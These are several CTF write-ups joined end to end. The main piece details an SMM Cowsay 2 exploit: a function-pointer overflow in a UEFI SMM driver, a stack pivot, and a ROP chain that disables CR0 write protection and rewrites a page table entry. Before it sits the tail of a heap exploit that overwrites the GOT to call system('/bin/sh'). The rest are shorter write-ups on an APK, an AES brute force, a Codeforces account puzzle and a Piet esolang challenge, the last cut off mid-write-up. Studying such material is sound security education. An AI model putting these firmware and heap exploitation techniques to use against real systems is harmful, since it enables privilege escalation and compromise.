edit(0, b"aa", b"bb", b"cc", 11, b"A"*968+p64(0x801))add(3, 1032, b"A", b"B", b"C", 20, b"B")menu(b"2")s.recvuntil(b"index: ")s.sendline(b"3")s.recvuntil(b"last: ")heapbase = u64(s.recv(4).ljust(8, b"\x00")) - 0x643log.info(hex(heapbase))heap = int(heapbase/0x1000)system = libc + 0x470d0puts = libc + 0x71ab0scanf = libc + 0x4cb40
#pause()add(4, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")add(5, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")delete(3)delete(5)edit(4, b"/bin/sh", b"/bin/sh", b"/bin/sh", 20, b"A"*976+p64(got^heap+0x1))add(6, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")add(7, 1032, b"\x00", p64(system), p64(puts), 10, p64(scanf))delete(4)
s.interactive()
``` |
# SMM Cowsay 2
**Author**: [@mebeim](https://twitter.com/mebeim) - **Full exploit**: [expl_smm_cowasy_2.py][expl2]
**NOTE**: introductory info can be found in [the writeup for SMM Cowsay 1](https://ctftime.org/writeup/34881).
> We asked that engineer to fix the issue, but I think he may have left a> backdoor disguised as debugging code.
We are still in the exact same environment as before, but the code for the`SmmCowsay.efi` driver was changed. Additionally, we no longer have global RWXmemory as the fifth EDK2 patch(`0005-PiSmmCpuDxeSmm-Protect-flag-addresses.patch`) now does not unlock pagetable entry permissions, but instead *explicitly sets the memory area containingthe flag as read-protected!*
```c SmmSetMemoryAttributes ( 0x44440000, EFI_PAGES_TO_SIZE(1), EFI_MEMORY_RP );```
A hint is also given in the commit message:
```From: YiFei Zhu <[email protected]>Date: Mon, 28 Mar 2022 17:55:14 -0700Subject: [PATCH 5/8] PiSmmCpuDxeSmm: Protect flag addresses
So attacker must disable paging or overwrite page table entries(which would require disabling write protection in cr0... so, thelatter is redundant to former)```
The first thing the [EDK2 SMI handler][edk2-smi-entry] does is set up a 4-levelpage table and enable 64-bit long mode, so SMM code runs in 64-bit mode with apage table.
The virtual addresses stored in the page table correspond 1:1 to physicaladdresses, so the page table itself is only used as a way to manage permissionsfor different memory areas (for example, page table entries for pages that donot contain code will have the NX bit set). The flag page (`0x44440000`) wasmarked as "read-protect" which simply means that the corresponding page tableentry will have the present bit clear, and thus any access will result in a pagefault.
## Vulnerability
Let's look at the updated code for `SmmCowsay.efi`. How is the communicationhandled now? We have a new `mDebugData` structure:
```cstruct { CHAR16 Message[200]; VOID EFIAPI (* volatile CowsayFunc)(IN CONST CHAR16 *Message, IN UINTN MessageLen); BOOLEAN volatile Icebp; UINT64 volatile Canary;} mDebugData;```
This structure holds a `->CowsayFunc` function pointer, which is set when thedriver is initialized:
```cmDebugData.CowsayFunc = Cowsay;```
The SMM handler code uses the `mDebugData` structure as follows upon receiving amessage:
```cEFI_STATUSEFIAPISmmCowsayHandler ( IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL ){ EFI_STATUS Status; UINTN TempCommBufferSize; UINT64 Canary;
DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));
if (!CommBuffer || !CommBufferSize) return EFI_SUCCESS;
TempCommBufferSize = *CommBufferSize;
// ... irrelevant code ...
Status = SmmCopyMemToSmram(mDebugData.Message, CommBuffer, TempCommBufferSize); if (EFI_ERROR(Status)) goto out;
// ... irrelevant code ...
SetMem(mDebugData.Message, sizeof(mDebugData.Message), 0);
mDebugData.CowsayFunc(CommBuffer, TempCommBufferSize);
out: DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));
return EFI_SUCCESS;}```
The problem is clear as day:
```c Status = SmmCopyMemToSmram(mDebugData.Message, CommBuffer, TempCommBufferSize); if (EFI_ERROR(Status)) goto out;```
Here we have a memcpy-like function performing a copy from the `->Data` field ofthe `EFI_SMM_COMMUNICATE_HEADER` (passed as `CommBuffer`) using the`->MessageLength` field as size (passed as `CommBufferSize`). The size istrusted and used as is, so any size above 400 will overflow the`CHAR16 Message[200]` field of `mDebugData` and corrupt the `CowsayFunc`function pointer, which is then called right away.
## Exploitation
The situation seems simple enough: send 400 bytes of garbage followed by anaddress and get RIP control inside System Management Mode. Once we have RIPcontrol, we can build a ROP chain to either (A) disable paging altogether andread the flag, or (B) disable `CR0.WP` (since the page table is read only) andpatch the page table entry for the flag to make it readable.
Method A was the author's solution. In fact there already is[a nice segment descriptor][edk2-gdt] for 32-bit protected mode in the SMM GDTthat we could use for the code segment (`CS` register). However I went withmethod (B) because it seemed more straightforward. *Ok, honestly speaking Icouldn't be bothered with figuring out how to correctly do the mode switch interms of x86 assembly as I had never done it before, can you blame me? :')*
There is a bit of a problem in building a ROP chain though: after the `call` toour address we lose control of the execution as we do not control the SMM stack.It would be nice to simply overwrite the function pointer with the address ofour shellcode buffer and execute arbitrary code in SMM, but as we already sawearlier, SMM cannot access that memory region, and this would just result in acrash.
### Finding ROP gadgets
**What can we access then?** It's clear that we'll need to ROP our way tovictory. We can modify the `run.sh` script provided to run the challenge locallyin QEMU to capture EDK2 debug messages and write them to a file (we have a`handout/edk2debug.log` which was obtained in the same way from a sample runwhen building the challenge, but it's nice to have our own). Let's add thefollowing arguments to the QEMU command line in `handout/run/run.sh`:
```-global isa-debugcon.iobase=0x402 -debugcon file:../../debug.log```
Now we can run the challenge and take a look at `debug.log`. Among the variousdebug messages, EDK2 prints the base address and the entry point of every driverit loads:
```$ cd handout/run; ./run.sh; cd -$ cat debug.log | grep 'SMM driver'Loading SMM driver at 0x00007FE3000 EntryPoint=0x00007FE526B CpuIo2Smm.efiLoading SMM driver at 0x00007FD9000 EntryPoint=0x00007FDC6E4 SmmLockBox.efiLoading SMM driver at 0x00007FBF000 EntryPoint=0x00007FCC159 PiSmmCpuDxeSmm.efiLoading SMM driver at 0x00007F99000 EntryPoint=0x00007F9C851 FvbServicesSmm.efiLoading SMM driver at 0x00007F83000 EntryPoint=0x00007F8BAD0 VariableSmm.efiLoading SMM driver at 0x00007EE7000 EntryPoint=0x00007EE99E7 SmmCowsay.efiLoading SMM driver at 0x00007EDF000 EntryPoint=0x00007EE2684 CpuHotplugSmm.efiLoading SMM driver at 0x00007EDD000 EntryPoint=0x00007EE2A1E SmmFaultTolerantWriteDxe.efi```
Surely enough, the `.text` section of all these drivers will contain code we canexecute in SMM. What ROP gadgets do we have?[Let's use `ROPGadget`][gh-ropgadget] to find them, using the base addressesprovided by the EDK2 debug log:
```bashcd handout/edk2_artifactsROPgadget --binary CpuIo2Smm.efi --offset 0x00007FE3000 >> ../../gadgets.txtROPgadget --binary SmmLockBox.efi --offset 0x00007FD9000 >> ../../gadgets.txt# ... and so on ...```
Even though we have a lot of gadgets, we need multiple ones to build a usefulROP chain. After the `ret` from the first gadget, control will return back to`SmmCowsayHandler` if we do not somehow move the stack (RSP) to a controlledmemory region, so the first gadget we need is one that is able to flip the stackwhere we want.
There is [*a very nice gadget*][edk2-gadget] in EDK2 code:
```c// MdePkg/Library/BaseLib/X64/LongJump.nasmCetDone:
mov rbx, [rcx] mov rsp, [rcx + 8] mov rbp, [rcx + 0x10] mov rdi, [rcx + 0x18] mov rsi, [rcx + 0x20] mov r12, [rcx + 0x28] mov r13, [rcx + 0x30] mov r14, [rcx + 0x38] mov r15, [rcx + 0x40]// ... jmp qword [rcx + 0x48]```
Our function pointer will be called with `CommBuffer` as first argument (RCX),so jumping here would load a bunch of registers **including RSP** directly fromdata we provide. This is very nice, and indeed the author's solution uses thisto easily flip the stack and continue the ROP chain, but `ROPgadget` was notsmart enough to find it for me, and I did not notice it when skimming throughEDK2 source code while solving the challenge. *Too bad!* It would havedefinitely saved me some time :'). I will avoid using it and show how Ioriginally solved the challenge to make things more interesting.
### Flipping the stack to controlled memory for a ROP chain
In any case, we still have a nice trick up our sleeve. See, it's true that we donot control the SMM stack, but what if some of our registers got spilled on thestack? With a gadget of the form `ret 0x123` or `add rsp, 0x123; ret` we wouldbe able to move the stack pointer forward and use anything that we control onthe SMM stack as another gadget. In order to check this we can attach a debuggerto QEMU and break at the call to `mDebugData.CowsayFunc()` in`SmmCowsayHandler()`.
We can enable debugging in QEMU by simply adding `-s` to the command line, andthen attach to it from GDB. I wrote a simple Python GDB plugin to load debugsymbols from the `.debug` files we have to make our life easier:
```pythonimport gdbimport os
class AddAllSymbols(gdb.Command): def __init__ (self): super (AddAllSymbols, self).__init__ ('add-all-symbols', gdb.COMMAND_OBSCURE, gdb.COMPLETE_NONE, True)
def invoke(self, args, from_tty): print('Adding symbols for all EFI drivers...')
with open('debug.log', 'r') as f: for line in f: if line.startswith('Loading SMM driver at'): line = line.split() base = line[4] elif line.startswith('Loading driver at') or line.startswith('Loading PEIM at'): line = line.split() base = line[3] else: continue
path = 'handout/edk2_artifacts/' + line[-1].replace('.efi', '.debug') if os.path.isfile(path): gdb.execute('add-symbol-file ' + path + ' -readnow -o ' + base)
AddAllSymbols()```
The first part of the exploit is the same as for SMM Cowsay 1: get ahold of`BootServices->AllocatePool` and `->LocateProtocol`, find the `SmmCommunication`protocol, allocate some memory to write our message, and send it to `SmmCowsay`through its SMI handler. The only thing that changes is *what we are sending*:this time the `->Data` field of the `EFI_SMM_COMMUNICATE_HEADER` will be filledwith a string of 400 bytes of garbage plus 8 more to overwrite the functionpointer.
We will fill all unused general purpose register with easily identifiable valuesso that we can see what is spilled on the stack:
```python# ... same code as for SMM Cowsay 1 up to the allocation of `buffer`
input('Attach GDB now and press [ENTER] to continue...')
payload = 'A'.encode('utf-16-le') * 200 + p64(0x4141414141414141)
code = asm(f''' /* Copy data into allocated buffer */ lea rsi, qword ptr [rip + data] mov rdi, {buffer} mov rcx, {0x18 + len(payload)} cld rep movsb
/* Communicate(mSmmCommunication, buffer, NULL) */ mov rcx, {mSmmCommunication} mov rdx, {buffer} xor r8, r8 mov rax, {Communicate}
mov ebx, 0x0b0b0b0b mov esi, 0x01010101 mov edi, 0x02020202 mov ebp, 0x03030303 mov r9 , 0x09090909 mov r10, 0x10101010 mov r11, 0x11111111 mov r12, 0x12121212 mov r13, 0x13131313 mov r14, 0x14141414 mov r15, 0x15151515 call rax
test rax, rax jnz fail ret
fail: ud2
data: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad {len(payload)} /* Buffer->MessageLength */ /* payload will be appended here to serve as Buffer->Data */''')
conn.sendline(code.hex().encode() + payload.hex().encode() + b'\ndone')conn.interactive() # Let's see what happens```
And now we can start the exploit and attach GDB using the following script:
```$ cat script.gdbtarget remote :1234
source gdb_plugin.pyadd-all-symbols
break *(SmmCowsayHandler + 0x302)continue```
```$ gdb -x script.gdb...Breakpoint 1, 0x0000000007ee92c5 in SmmCowsayHandler (CommBufferSize=<optimized out>, CommBuffer=0x69bb030, ...(gdb) i r raxrax 0x4141414141414141 4702111234474983745
(gdb) si0x4141414141414141 in ?? ()
(gdb) x/100gx $rsp0x7fb6a78: 0x0000000007ee92c7 0x0000000007ffa8d80x7fb6a88: 0x0000000007ff0bc5 0x00000000069bb0300x7fb6a98: 0x0000000007fb6c38 0x0000000007fb6b80.........0x7fb6b48: 0x00000000069bb018 0x00000000131313000x7fb6b58: 0x0000000014141414 0x0000000015151515```
It seems like R13 (except the LSB), R14 and R15 somehow got spilled on the stackat `rsp + 0xe0`. After returning from the `call rax` the code in`SmmCowsayHandler` does:
```(gdb) x/30i SmmCowsayHandler + 0x302 0x7ee92c5 <SmmCowsayHandler+770>: call rax 0x7ee92c7 <SmmCowsayHandler+772>: test bl,bl ... a bunch of useless stuff ... 0x7ee92f7 <SmmCowsayHandler+820>: add rsp,0x40 0x7ee92fb <SmmCowsayHandler+824>: xor eax,eax 0x7ee92fd <SmmCowsayHandler+826>: pop rbx 0x7ee92fe <SmmCowsayHandler+827>: pop rsi 0x7ee92ff <SmmCowsayHandler+828>: pop rdi 0x7ee9300 <SmmCowsayHandler+829>: pop r12 0x7ee9302 <SmmCowsayHandler+831>: pop r13 0x7ee9304 <SmmCowsayHandler+833>: ret```
So at the time of that last `ret` we would have the registers spilled on thestack a lot closer. Very conveniently, amongst the gadgets we dumped, there is a`ret 0x70` at `VariableSmm.efi + 0x8a49`. We can use this gadget to to move RSP*exactly* on top of the spilled R14, giving us the possibility to execute onemore gadget of the form `pop rsp; ret`, which would get the new value for RSPfrom the R15 value on the stack! After this, we fully control the stack and wecan write a longer ROP chain.
### Writing the real ROP chain
After flipping the stack and starting the real ROP chain, we'll need gadgetsfor:
- Setting CR0 in order to be able to disable `CR0.WP` to be able to edit the page table.- Write to memory at an arbitrary address to overwrite the page table entry for the flag address.- Read from memory into a register to be able to get the flag.
All of these can be easily found with a bit of patience, since we have *a lot*of gadgets on our hands.
Since addresses don't change, we don't really need to worry about walking thepage table: we can just find the address of the page table entry for`0x44440000` once using GDB and then hardcode it in the exploit:
```(gdb) set $lvl4_idx = (0x44440000 >> 12 + 9 + 9 + 9) & 0x1ff(gdb) set $lvl3_idx = (0x44440000 >> 12 + 9 + 9) & 0x1ff(gdb) set $lvl2_idx = (0x44440000 >> 12 + 9) & 0x1ff(gdb) set $lvl1_idx = (0x44440000 >> 12) & 0x1ff(gdb) set $lvl4_entry = *(unsigned long *)($cr3 + 8 * $lvl4_idx)(gdb) set $lvl3_entry = *(unsigned long *)(($lvl4_entry & 0xffffffff000) + 8 * $lvl3_idx)(gdb) set $lvl2_entry = *(unsigned long *)(($lvl3_entry & 0xffffffff000) + 8 * $lvl2_idx)
(gdb) set $lvl1_entry_addr = ($lvl2_entry & 0xffffffff000) + 8 * $lvl1_idx(gdb) set $lvl1_entry = *(unsigned long *)$lvl1_entry_addr
(gdb) printf "PTE at 0x%lx, value = 0x%016lx\n", $lvl1_entry_addr, $lvl1_entry
PTE at 0x7ed0200, value = 0x8000000044440066```
Notice how `0x8000000044440066` has bit 63 set (NX) set and bits 0 and 1 unset(not present, not writeable). We need to set bit 0 in order to mark the page aspresent, so the value we want is `0x8000000044440067`.
Checking the value of CR0 from GDB we get `0x80010033`: turning OFF the WP bitgives us `0x80000033`, so this is what we want to write into CR0 before tryingto edit the page table entry at `0x7ed0200`.
After finding the gadgets we need, this is what the real ROP chain looks like:
```pythonret_0x70 = 0x7F83000 + 0x8a49 # VariableSmm.efi + 0x8a49: ret 0x70payload = 'A'.encode('utf-16-le') * 200 + p64(ret_0x70)
real_chain = [ # Unset CR0.WP 0x7f8a184 , # pop rax ; ret 0x80000033, # -> RAX 0x7fcf70d , # mov cr0, rax ; wbinvd ; ret
# Set PTE of flag page as present # PTE at 0x7ed0200, original value = 0x8000000044440066 0x7f8a184 , # pop rax ; ret 0x7ed0200 , # -> RAX 0x7fc123d , # pop rdx ; ret 0x8000000044440067, # -> RDX 0x7fc9385 , # mov dword ptr [rax], edx ; xor eax, eax ; # pop rbx ; pop rbp ; pop r12 ; ret 0x1337, # filler 0x1337, # filler 0x1337, # filler
# Read flag into RAX and then let everything chain # crash to simply leak it from the register dump 0x7ee8222 , # pop rsi ; ret (do not mess up RAX with sub/add) 0x0 , # -> RSI 0x7fc123d , # pop rdx ; ret (do not mess up RAX with sub/add) 0x0 , # -> RDX 0x7ee82fe , # pop rdi ; ret 0x44440000, # -> RDI (flag address) 0x7ff7b2c , # mov rax, qword ptr [rdi] ; sub rsi, rdx ; add rax, rsi ; ret]```
### Putting it all together
We can now write the real ROP chain into our allocated buffer (let's say at`buffer + 0x800` just to be safe), load the gadget for flipping the stack intoR14, the address of the new stack (i.e. `buffer + 0x800`) into R15, and go forthe kill.
```python# Transform real ROP chain into .quad directives to# easyly embed it in the shellcode:## .quad 0x7f8a184# .quad 0x80000033# ...real_chain_size = len(real_chain) * 8real_chain = '.quad ' + '\n.quad '.join(map(str, real_chain))
code = asm(f''' /* Copy data into allocated buffer */ lea rsi, qword ptr [rip + data] mov rdi, {buffer} mov rcx, {0x18 + len(payload)} cld rep movsb
/* Copy real ROP chain into buffer + 0x800 */ lea rsi, qword ptr [rip + real_chain] mov rdi, {buffer + 0x800} mov rcx, {real_chain_size} cld rep movsb
/* Communicate(mSmmCommunication, buffer, NULL) */ mov rcx, {mSmmCommunication} mov rdx, {buffer} xor r8, r8 mov rax, {Communicate}
/* These two regs will spill on SMI stack */ mov r14, 0x7fe5269 /* pop rsp; ret */ mov r15, {buffer + 0x800} /* -> RSP */ call rax
test rax, rax jnz fail ret
fail: ud2
real_chain: {real_chain}
data: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad {len(payload)} /* Buffer->MessageLength */ /* payload will be appended here to serve as Buffer->Data */''')
conn.sendline(code.hex().encode() + payload.hex().encode() + b'\ndone')conn.interactive()```
Result:
```Running...!!!! X64 Exception Type - 0D(#GP - General Protection) CPU Apic ID - 00000000 !!!!ExceptionData - 0000000000000000RIP - AFAFAFAFAFAFAFAF, CS - 0000000000000038, RFLAGS - 0000000000000002RAX - 547B667463756975, RCX - 0000000000000000, RDX - 0000000000000000...```
Surely enough, that value in RAX decodes to `uiuctf{T`, which is the test flagprovided in the `handout/run/region4` file. We could find some more gadgets todump more bytes, and we could even try using IO ports to actually write the flagout on the screen, but wrapping the exploit up into a function and running it acouple more times seemed way easier to me (*I was also not sure about how tooutput to the screen, e.g. which function or which IO port to use*).
```pythonflag = ''for off in range(0, 0x100, 8): chunk = expl(0x44440000 + off) flag += chunk.decode() log.success(flag)
if '}' in flag: break```
```[*] Leaking 8 bytes at 0x44440000...[+] uiuctf{d[*] Leaking 8 bytes at 0x44440008...[+] uiuctf{dont_try_...[*] Leaking 8 bytes at 0x44440030...[+] uiuctf{dont_try_this_at_home_I_mean_at_work_5dfbf3eb}```
[smm1]: #smm-cowsay-1[smm2]: #smm-cowsay-2[smm3]: #smm-cowsay-3[expl1]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_1.py[expl2]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_2.py[expl3]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_3.py
[tweet]: https://twitter.com/MeBeiM/status/1554849894237609985[uiuctf]: https://ctftime.org/event/1600/[uiuctf-archive]: https://2022.uiuc.tf/challenges[author]: https://github.com/zhuyifei1999[wiki-smm]: https://en.wikipedia.org/wiki/System_Management_Mode[intel-sdm]: https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html[uefi-spec]: https://uefi.org/specifications[uefi-spec-pdf]: https://uefi.org/sites/default/files/resources/UEFI_Spec_2_9_2021_03_18.pdf[man-cowsay]: https://manned.org/cowsay.1[man-pahole]: https://manned.org/pahole.1[x64-call]: https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170[x86-rsm]: https://www.felixcloutier.com/x86/rsm[x86-rdrand]: https://www.felixcloutier.com/x86/rdrand[gh-pwntools]: https://github.com/Gallopsled/pwntools[gh-ropgadget]: https://github.com/JonathanSalwan/ROPgadget[gh-edk2]: https://github.com/tianocore/edk2[gh-edk2-securityex]: https://github.com/jyao1/SecurityEx[gh-qemu]: https://github.com/qemu/qemu[qemu-memtxattrs]: https://github.com/qemu/qemu/blob/v7.0.0/include/exec/memattrs.h#L35[edk2-SystemTable]: https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/3_foundation/33_uefi_system_table[edk2-SmiHandlerRegister]: https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdeModulePkg/Core/PiSmmCore/Smi.c#L213[edk2-EfiRuntimeServicesData]: https://github.com/tianocore/edk2/blob/0ecdcb6142037dd1cdd08660a2349960bcf0270a/BaseTools/Source/C/Include/Common/UefiMultiPhase.h#L25[edk2-SmmCommunicationCommunicate]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L110[edk2-EFI_SMM_COMMUNICATION_PROTOCOL]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L267[edk2-copy-msg]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L547[edk2-smi-entry]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/UefiCpuPkg/PiSmmCpuDxeSmm/X64/SmiEntry.nasm#L89[edk2-gadget]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdePkg/Library/BaseLib/X64/LongJump.nasm#L54[edk2-MdePkg]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdePkg/MdePkg.dec[edk2-buffer-check]: https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdePkg/Library/SmmMemLib/SmmMemLib.c#L163[edk2-gdt]: https://github.com/tianocore/edk2/blob/2812668bfc121ee792cf3302195176ef4a2ad0bc/UefiCpuPkg/PiSmmCpuDxeSmm/X64/SmiException.nasm#L31 |
# [Easy] Unlock Train Data (150 points)
> The AI has taken over the Train ticket scanner! Citizens can no longer make use of the railway system of Locked City Railway Corporation. Due to its custom protocol and validation system it will take significant time to rewrite the application. Can you help the city to regain immediate access to their railway infrastructure?>> Author information: This challenge is developed by [RvanderHam@DeloitteNL](https://linkedin.com/in/rubenvdham).
Decompile the APK.
### Tickets Please [75 points]
> The AI has gone rogue on the ticket app and left a backdoor. Can you gain a valid ticket which enables the citizens to travel again?
Install application on Android device and click the train background image 26 times. Or, create a BMP file as present in decompiled source code of APK.
**Flag:** `CTF{Keep_Clicking_For_The_Win}`
### Something was Added [75 points]
> The application has been modified by the AI. At least one file was added. Yet we don't know what it is, can you figure it out?
- AES ECB encryption- Reverse the algorithm for encryption
**Flag:** `CTF{Thou_Shall_Not_Roll_Your_Own_Crypto}`
```pyimport hashlibimport stringimport sys
from Crypto.Util.number import *from Crypto.Cipher import AESfrom Crypto.Util.Padding import *from pwn import *
def AES_encrypt (key, value): value = pad(value, 16) cipher = AES.new(key, AES.MODE_ECB) enc = cipher.encrypt(value) return enc
def AES_decrypt (key, value): cipher = AES.new(key, AES.MODE_ECB) dec = cipher.decrypt(value) # try: # dec = unpad(dec, 16) # except ValueError: # pass return dec
def encrypt (key, value): digest = hashlib.md5(key).digest() key = hashlib.md5(bytes([digest[1], digest[len(digest) // 2], digest[len(digest) - 1]])).digest() current_data = value
# print('key:', key.hex())
for _ in range(8): current_data = AES_encrypt(key, current_data) key = hashlib.md5(key).digest() # print('key:', key.hex()) return current_data
def decrypt (key, value): digest = hashlib.md5(key).digest() key = hashlib.md5(bytes([digest[1], digest[len(digest) // 2], digest[len(digest) - 1]])).digest() keys = [] current_data = value
for _ in range(8): keys.append(key) key = hashlib.md5(key).digest() keys = keys[::-1]
for i in range(8): current_data = AES_decrypt(keys[i], current_data) return current_data
def decrypt_with_digest (a, b, c, value): key = hashlib.md5(bytes([a, b, c])).digest() keys = [] current_data = value
for _ in range(8): keys.append(key) key = hashlib.md5(key).digest() keys = keys[::-1]
for i in range(8): current_data = AES_decrypt(keys[i], current_data) return current_data
def brute (): value = long_to_bytes(0xb9725f22659b4469f84b4b800b740379bcafbb1fee9c941c0cca89a9ac2718f52e03df787f41bc568a63353b0084b956dc7a1ff0a58d88e20594c4fab8ee5df86e3da18d2ddcb579ff664636fa5a8e583ad2d35e7fe986f78754c7377a4f95a55aae80992da22547123374ea13235d9fc34e846f69b876a8e80d211f19b1c7a32ed4e48101b91448b5d5f9b5fe02488410015780353e14a9ef726073197d1377) with open('file.txt', 'w') as file: for a in range(256): print(a, file = sys.stderr) for b in range(256): for c in range(256): # key = (a + b + c).encode() # dec = decrypt(key, value)
key = bytes([a, b, c]) dec = decrypt_with_digest(a, b, c, value)
if b'CTF{' in dec: print(key, dec, file = file)
brute()
# name = b'aaa'# flag = b'CTF{fake_flag00}'
# enc = encrypt(name, flag)# print(hex(bytes_to_long(enc))[2:][-32:])# print(hex(bytes_to_long(encrypt(name, b'CTF{')))[2:][-32:])# print(decrypt(name, enc))``` |
Using the Codeforces API (https://codeforces.com/apiHelp), we will create a list of contests "SuperJ6" participated in and create a list of users who participated in these contests. Afterwards, we will go through all the contests "SuperJ6" did not participate in, find participants who is not in the previous list, and try to identify the secondary account from there.
The script.py will do this for us and return the top 10 accounts that participated the most in the contests "SuperJ6" didn't participate, while never participating in any of the contests "SuperJ6" participated. Testing out each of the accounts as a flag, we find that "MaddyBeltran" works.
Flag: LITCTF{MaddyBeltran} |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/jail/a-horse-with-no-neighs/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/jail/a-horse-with-no-neighs/README.md) |
# Pierated Art
### Automated Reverse-Engineering of a Picture
The description for this challenge is as follows:

*"Composition with Red, Yellow, and Blue by Piet Mondrian, with red graffiti all over it"*
*Downloaded some art from a sketchy torrent provider (piet_pirate), and there are scribbles all over it.*
*Update: The passwords (not the flag) are in lowercase ASCII*
*Challenge sponsored by Battelle*
*author: spicypete, richyliu*
This challenge was worth 311 points at the end of the competition, and it had a total of 24 solves. This was a pretty novel reverse engineering challenge that involved the use of PietCode, and while I don't think it was actually super hard with the appropriate tooling, it was definitely fun!
**TL;DR Solution:** Decode one of the base64 strings you get from the netcat connection and note that it is a png file with some random-looking primary color blocks scattered throughout. Based on name and appearance, run it as Pietcode with npiet and note that it is asking for a flag. Extract the plaintext version of the code with the -t flag to determine the flag that the program is asking for, since each character effectively needs to equal 0 modulo 26 when added to some number. Then figure out how to automate the predictable reverse-engineering process by writing python that extracts the relevant lines of Piet code for simple analysis, and run this against the remote server to get the flag.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/reversing_challs/UIUCTF22/Pierated%20Art
## Gathering Information
This challenge only came with a netcat connection, so it makes sense to start investigating there! The challenge indicates a total of 10 stages, in which a lengthy base64 string is provided and a flag is requested. ```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/UIUCTF22$ nc pierated-art.chal.uiuc.tf 1337== proof-of-work: disabled ==Torrented Picture Data (Base64):iVBORw0KGgoAAAANSUhEUgAAAyYAAAQACAIAAACbB9rAAAEAAElEQVR4nOz9d5gcx3UujJ/TPXl2dmczFsBG7CIQORAgIZIAc5BISsyUJQfZsi0HOVzf/D333u/73etr32tJtmxZycqSZQWKpEiREkmRAHNEztiEzXnC7k6eOr8/OlWHmZ0NWIBgvQ8fYra3uqq6urbrnfc9dRoPwAEA2HdgH+wHOHDwIOzbvx/oABzcB/sBAOEAwT44CLAfAQhMvyhYBvYfPAj7gHD/QTiw/8C+AwD79h/EA/th34EDsA8O4v79cODAgX37AKxl9h2Ag/v37dMaIsCDBw/s27cPEYhAQEBAYKGgBT1DEHHJ.../ccQGkBgFMDkgsAXAHoyC4MKC0AcA1AcgGASwE92pUAsQUArgRsaw0ALgXsnO0awJ7TAOB6gJcLAFwZ6ODOBcgsAHBhQHIBQI8AerojA0oLAHoCILkAoAcB/d3RALEFAD0HkFwA0BOBjt+9gNICgB4IpM8DQE8EsrO7hsbSFu48APRYwMsFAAA4vTodkFkAAIDkAgCgARgNOgMQWwAAYEByAQBgDwwL7QeUFgAAdoDkAgCgaWBwaBsgtgAAaBKQXAAAPAYYJVoDKC0AAFoGJBcAAK0CxormALEFAEBrAMkFAMCTYTdocBzXEzRH48vsCVcNAEAHApILAIA20jNHD1BaAAC0DZBcAAC0i54zhoDYAgCgPYDkAgCgY3DVwQSUFgAAHQJILgAAOhJXGlJAbAEA0IGA5AIAoFNw3rEFlBYAAJ0BbGsNAECn0OT+zQ6lw2DPaQAAuhLwcgEA0BU48lADMgsAgC4AJBcAAF2How04ILYAAOgyQHIBANANdO/IA0oLAICuByQXAADdSVcOQaC0AADoRkByAQDQ/XT2QARiCwCAbgckFwAADkTHjkigtAAAcBxAcgEA4HC0f1wCsQUAgKMBkgsAAMflSQcoUFoAADgsILkAAHB0WjNMgdgCAMDB+f8BNa+xgzH3mPUAAAAASUVORK5CYII=Enter flag #1/10 (15s):aaaaaaaaaaaaIncorrect!```If I decode the string and save it as a png file, the result looks something like this:

The image looks mostly normal, but with some blocks of bright colors interspersed throughout. This, combined with challenge's title and description, strongly indicates that Piet code is being used here. To provide some context, Piet code is one of the few esolangs that is represented through visual image data, and Piet code images are visually based on the work of Piet Mondrian.
To check if this is actually Piet, the lowest effort solution is to use a web interpreter. The main web interpreter is available here: http://www.bertnase.de/npiet/npiet-execute.php And the results of running the sample image through that tool indicates that a program asking for a flag to be entered, so the next step is to find the flag!

## Manually Extracting a Flag
